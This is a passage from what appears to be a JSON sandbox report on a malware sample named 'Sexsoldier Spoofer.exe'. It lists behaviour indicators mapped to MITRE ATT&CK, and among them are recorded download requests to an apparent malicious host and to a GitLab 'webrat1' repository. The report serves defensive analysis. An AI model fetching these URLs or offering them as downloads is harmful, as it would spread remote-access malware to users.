(Indicator: \"LoadLibrary\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to background jobs (Powershell command string)","description":"Found string \"Get-Job\" (Indicator: \"Get-Job\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"Stop-Job\" (Indicator: \"Stop-Job\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"Wait-Job\" (Indicator: \"Wait-Job\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"Resume-Job\" (Indicator: \"Resume-Job\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"Remove-Job\" (Indicator: \"Remove-Job\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"Receive-Job\" (Indicator: \"Receive-Job\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"Start-Job\" (Indicator: \"Start-Job\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"Debug-Job\" (Indicator: \"Debug-Job\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1197","relevance":1,"id":"string-375","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"SexsoldierSpoofer.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"conhost.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"svchost.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"ONENOTEM.EXE\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$54","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$55","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"$56","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"$57","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$58","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"SexsoldierSpoofer.exe\" reads file \"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config\"\n \"SexsoldierSpoofer.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll.aux\"\n \"SexsoldierSpoofer.exe\" reads file \"c:\\sexsoldierspoofer.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"References PATH environment registry keys","description":"Found string \"System\\CurrentControlSet\\Control\\Session Manager\\Environment\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\Environment\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"HKEY_CURRENT_USER\\Environment\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1574.007","relevance":1,"id":"string-530","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$59","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"SexsoldierSpoofer.exe\" trying to touch file \"C:\\Windows\\System32\\mscoree.dll\"\n \"SexsoldierSpoofer.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\MSCOREE.DLL\"\n \"SexsoldierSpoofer.exe\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"\n \"SexsoldierSpoofer.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\apphelp.dll\"\n \"SexsoldierSpoofer.exe\" trying to touch file \"C:\\SexsoldierSpoofer.exe\"\n \"SexsoldierSpoofer.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"\n \"SexsoldierSpoofer.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"\n \"SexsoldierSpoofer.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"SexsoldierSpoofer.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"SexsoldierSpoofer.exe\" trying to touch file \"C:\\windows\\temp\\VxSSL64.dll\"\n \"SexsoldierSpoofer.exe\" trying to touch file \"C:\\FLTLIB.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"$5a","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$5b","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$5c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$5d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"SexsoldierSpoofer.exe\" writes file \"c:\\programdata\\microsoft\\windows\\wer\\temp\\59eef78126d8\\conhost.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"SexsoldierSpoofer.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\SexsoldierSpoofer.exe.log\"\n \"SexsoldierSpoofer.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\SexsoldierSpoofer.exe.log\"\n \"conhost.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\conhost.exe.log\"\n \"conhost.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\conhost.exe.log\"\n \"svchost.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\svchost.exe.log\"\n \"svchost.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\svchost.exe.log\"\n \"MicrosoftEdgeWebview2Setup.exe\" writes a file \"C:\\Program Files (x86)\\Microsoft\\Temp\\EUDE7D.tmp\\EdgeUpdate.dat\"\n \"MicrosoftEdgeWebview2Setup.exe\" writes a file \"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\EdgeUpdate.dat\"\n \"MicrosoftEdgeUpdate.exe\" writes a file \"C:\\ProgramData\\Microsoft\\EdgeUpdate\\Log\\MicrosoftEdgeUpdate.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"psmachine_arm64.dll\")\n file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"psuser_arm64.dll\")\n file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"psmachine.dll\")\n file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"psuser.dll\")\n file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"MicrosoftEdgeUpdateCore.exe\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00002136.00000001.137903.091B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00004952-00000C2C-1107038406\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve NetBIOS or DNS name associated with the local computer","description":"$5e","origin":"Static Parser","mitre_attack_id":"T1016","relevance":5,"id":"static-194","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve network adapter information (.NET)","description":"file/memory contains long string(File: \"RPZ-HWID.dll\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-941","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /sa1at/\"\n Found http requests in header \"GET /webrat1/importantfiles/-/raw/main/7z.dll\"\n Found http requests in header \"GET /users/sign_in\"\n Found http requests in header \"GET /webrat1/importantfiles/-/raw/main/7z.exe\"\n Found http requests in header \"GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll\"\n Found http requests in header \"GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll\"\n Found http requests in header \"GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00004952-00000C2C-1106366105\")\n Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; Source: \"00000000-00004952-00000C2C-1108283129\")\n Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; Source: \"00000000-00004952-00000C2C-1108296082\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00004952-00000C2C-1108633741\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00004952-00000C2C-1108633975\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00002136-00000C2C-1145929929\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00002136-00000C2C-1145929979\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to copy items (Powershell command string)","description":"Found string \"Copy-ItemProperty\" (Indicator: \"Copy-ItemProperty\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-377","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"Invoke-WebRequest\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to move items (Powershell command string)","description":"Found string \"Move-ItemProperty\" (Indicator: \"Move-ItemProperty\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-378","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols (Dotnet)","description":"Observed namespace \"System.Net.NetworkInformation\" in \"RPZ-HWID.dll\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"curl\" (Indicator: \"curl\") in Source: 00000000-00002136.00000000.136196.05280000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00004952-00000C2C-1106366105\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00002136.00000000.136196.03050000.00000004.mdmp, 00000000-00002136.00000001.137903.03050000.00000004.mdmp\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00002136.00000000.136196.03050000.00000004.mdmp, 00000000-00002136.00000001.137903.03050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$5f","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002136.00000001.137903.03050000.00000004.mdmp\")\n Found string \"GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002136.00000001.137903.078D8000.00000004.mdmp\")\n Found string \"GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002136.00000001.137903.08BEC000.00000004.mdmp\")\n Found string \"GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002136.00000001.137903.08BEC000.00000004.mdmp\")\n Found string \"GET /users/sign_in HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002136.00000001.137903.08D5A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$60","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$61","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"px.ads.linkedin.com\" has high entropy\n Contacted domain: \"clients2.googleusercontent.com\" has high entropy\n Contacted domain: \"cloudflare-dns.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Identified known pipe name","description":"Found pipe name string \"\\PIPE\\wkssvc\" (Source: \"00000000-00007728-00000CCE-1151069979\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":3,"id":"string-735","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec\n Observed JA3 fingerprint: 1e93d985c806ca627b3b564ad06cc0c3\n Observed JA3 fingerprint: 5659c10619c455ea477287b12cf3f7e7","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"deff.nelreports.net\" (13 days old)\n Newly renewed or created SSL certificate: \"sa1atik.cn\" (9 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://sa1atik.cn/sa1at/\n Found HTTPS GET request to https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll\n Found HTTPS GET request to https://gitlab.com/users/sign_in\n Found HTTPS GET request to https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe\n Found HTTPS GET request to https://gitlab.com/webrat1/importantfiles/-/raw/main/MSTSCLib.dll\n Found HTTPS GET request to https://gitlab.com/webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll\n Found HTTPS GET request to https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Sends a suspicious GET request","description":"\"GET /sa1at/ HTTP/1.1\nHost: sa1atik.cn\nUser-Agent: Go-http-client/1.1\nContent-Length: 62127\nContent-Type: application/octet-stream\nAccept-Encoding: gzip\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-19","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"clients2.googleusercontent.com\" (83 days old)\n Short term registered certificate: \"sa1atik.cn\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"1.1.1.1\" on port \"443\"\n HTTPS traffic to \"104.16.248.249\" on port \"443\"\n HTTPS traffic to \"152.53.49.102\" on port \"443\"\n HTTPS traffic to \"172.65.251.78\" on port \"443\"\n HTTPS traffic to \"52.123.225.104\" on port \"443\"\n HTTPS traffic to \"52.123.251.207\" on port \"443\"\n HTTPS traffic to \"13.32.241.16\" on port \"443\"\n HTTPS traffic to \"151.101.193.44\" on port \"443\"\n HTTPS traffic to \"172.64.146.215\" on port \"443\"\n HTTPS traffic to \"68.67.179.164\" on port \"443\"\n HTTPS traffic to \"192.178.142.132\" on port \"443\"\n HTTPS traffic to \"150.171.30.11\" on port \"443\"\n HTTPS traffic to \"23.38.111.110\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00002136\"\n YARA signature for detecting PowerShell file matched on process \"00000000-00004272\"\n YARA signature for detecting PowerShell file matched on process \"00000000-00004952\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"sample.bin\"\n YARA signature matched on embedded PE in file \"svchost.exe\"\n YARA signature matched on embedded PE in file \"conhost.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Remote Access Related","name":"Able to modify Remote Configuration","description":"Found string \"Flags = \"Assertion\n UnmanagedCode\n Execution\n ControlThread\n ControlEvidence\n ControlPolicy\n ControlAppDomain\n SerializationFormatter\n ControlDomainPolicy\n ControlPrincipal\n RemotingConfiguration\n Infrastructure\n BindingRedirects\" />\" (Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-940","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to receive remote commands (Powershell command string)","description":"Found string \"Enable-PSRemoting\" (Indicator: \"Enable-PSRemoting\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-289","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSQuerySessionInformationW\" (Indicator: \"WTSQuerySessionInformation\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Remote Access Related","name":"Contains reference to remote powershell session activity (Powershell command string)","description":"$62","origin":"File/Memory","mitre_attack_id":"T1021.006","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"ncacn_np\" (Indicator: \"ncacn_np\"; Source: \"00000000-00001176.00000000.139164.7DA40000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE44439FE4302840D0F6CACF69CEF5]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002136.00000000.136196.03050000.00000004.mdmp, 00000000-00002136.00000001.137903.03050000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLECB3207C95409D3057035A2A4B41E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002136.00000001.137903.08BEC000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002136.00000001.137903.08BEC000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLECB3207C95409D3057035A2A4B41E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002136.00000001.137903.08BEC000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002136.00000000.136196.03050000.00000004.mdmp, 